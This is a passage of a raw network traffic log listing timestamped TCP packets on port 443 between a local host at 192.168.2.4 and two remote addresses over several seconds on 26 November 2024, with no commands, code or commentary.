Nov 26, 2024 00:08:06.581288099 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.581296921 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.581717014 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.581720114 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.854034901 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.854047060 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.854090929 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.854136944 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.854175091 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.854402065 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.854413986 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.854422092 CET	49763	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.854427099 CET	443	49763	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.880314112 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.880347013 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.880445957 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.880624056 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:06.880636930 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:06.882545948 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.882587910 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.882630110 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.882819891 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.882828951 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.882859945 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.882863998 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.885411978 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.885436058 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.885505915 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.885648966 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.885662079 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.961652994 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.961673975 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.961733103 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.961750031 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.961802006 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.961921930 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.961932898 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.961951971 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.962069988 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.962095976 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.962152004 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.964359045 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.964371920 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.964440107 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.964540958 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.964551926 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.967732906 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.967752934 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.967801094 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.967811108 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.967859983 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.968013048 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.968022108 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.968039036 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.968139887 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.968161106 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.968214035 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.970098019 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.970149040 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:06.970216990 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.970374107 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:06.970395088 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.034845114 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.034985065 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.035043001 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.036364079 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.036370039 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.036379099 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.036382914 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.039165974 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.039189100 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.039252043 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.039361000 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.039369106 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.882083893 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.882103920 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.882143974 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.882175922 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.882211924 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.882421970 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.882437944 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.882447958 CET	49768	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.882457972 CET	443	49768	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.884936094 CET	49774	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.884979963 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:07.885071039 CET	49774	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.885220051 CET	49774	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:07.885237932 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.701935053 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.703346014 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:08.703372002 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.704153061 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:08.704161882 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.743223906 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.743880987 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:08.743901014 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.744330883 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:08.744335890 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.764754057 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.779215097 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:08.779238939 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.779736042 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:08.779740095 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.781987906 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:08.782402039 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:08.782418013 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:08.783113003 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:08.783117056 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:08.783153057 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:08.783159018 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:08.808223963 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.808669090 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:08.808676004 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:08.809155941 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:08.809159994 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.137162924 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.137202978 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.137253046 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.137430906 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.137455940 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.137468100 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.137475014 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.140463114 CET	49775	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.140485048 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.140556097 CET	49775	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.140729904 CET	49775	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.140738964 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.196352005 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.196511030 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.196580887 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.196624041 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.196636915 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.196647882 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.196652889 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.198682070 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.198699951 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.198780060 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.198926926 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.198936939 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.199357986 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.199520111 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.199573040 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.199595928 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.199604034 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.199613094 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.199618101 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.201811075 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.201824903 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.201893091 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.202048063 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.202058077 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.269236088 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.269284964 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.269331932 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.269453049 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.269459009 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.269469023 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.269474030 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.271761894 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.271771908 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.271832943 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.271985054 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.271994114 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.598841906 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.599332094 CET	49774	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.599350929 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.599953890 CET	49774	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:09.599961042 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:09.799396992 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:09.799415112 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:09.799452066 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:09.799624920 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:09.799638033 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:09.804614067 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:09.804626942 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:09.804634094 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:09.804744005 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:09.804769039 CET	443	49769	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:09.804805040 CET	49769	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:09.831126928 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:09.831155062 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:09.831221104 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:09.831384897 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:09.831396103 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:10.034775972 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.034842014 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.034888983 CET	49774	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.035077095 CET	49774	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.035094023 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.035109997 CET	49774	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.035115957 CET	443	49774	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.037862062 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.037888050 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.037975073 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.038113117 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.038121939 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.935154915 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.936408043 CET	49775	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.936431885 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.936877966 CET	49775	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.936882973 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.984879971 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.985213041 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.985230923 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.985589027 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.985595942 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.988270998 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.988616943 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.988642931 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:10.988975048 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:10.988980055 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.051054955 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.051434994 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.051444054 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.051919937 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.051923990 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.383590937 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.383641958 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.383713961 CET	49775	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.383903027 CET	49775	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.383912086 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.383922100 CET	49775	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.383925915 CET	443	49775	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.386667967 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.386708975 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.386797905 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.386974096 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.386987925 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.431654930 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.431854963 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.431922913 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.431952000 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.431963921 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.431972027 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.431976080 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.433814049 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.433839083 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.433854103 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.433919907 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.433968067 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.434014082 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.434022903 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.434051037 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.434108973 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.434119940 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.434128046 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.434132099 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.435939074 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.435955048 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.436028957 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.436150074 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.436161041 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.495696068 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.495738983 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.495794058 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.495913982 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.495919943 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.495955944 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.495959997 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.497673988 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.497704983 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.497776031 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.497941971 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.497953892 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.724157095 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:11.724682093 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:11.724697113 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:11.725152016 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:11.725157022 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:11.725183010 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:11.725189924 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:11.820130110 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.820559025 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.820579052 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:11.820952892 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:11.820956945 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:12.264183998 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:12.264245033 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:12.264297962 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:12.264480114 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:12.264491081 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:12.264499903 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:12.264503956 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:12.267210007 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:12.267256975 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:12.267343998 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:12.267493010 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:12.267509937 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:12.538225889 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:12.538240910 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:12.538271904 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:12.538341045 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:12.538356066 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:12.538399935 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:12.539953947 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:12.539964914 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:12.539973974 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:12.540076971 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:12.540098906 CET	443	49779	20.190.181.4	192.168.2.4
Nov 26, 2024 00:08:12.540136099 CET	49779	443	192.168.2.4	20.190.181.4
Nov 26, 2024 00:08:13.178033113 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.178486109 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.178524971 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.178915977 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.178920984 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.224184990 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.225845098 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.227221966 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.227241993 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.227246046 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.227264881 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.227668047 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.227672100 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.227886915 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.227891922 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.230434895 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.230783939 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.230798006 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.231148005 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.231152058 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.627062082 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.627104998 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.627305984 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.627341986 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.627361059 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.627370119 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.627377987 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.630002975 CET	49787	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.630054951 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.630136013 CET	49787	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.630295038 CET	49787	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.630309105 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.661837101 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.661884069 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.662004948 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.662029982 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.662043095 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.662053108 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.662056923 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.664345980 CET	49788	443	192.168.2.4	13.107.246.63
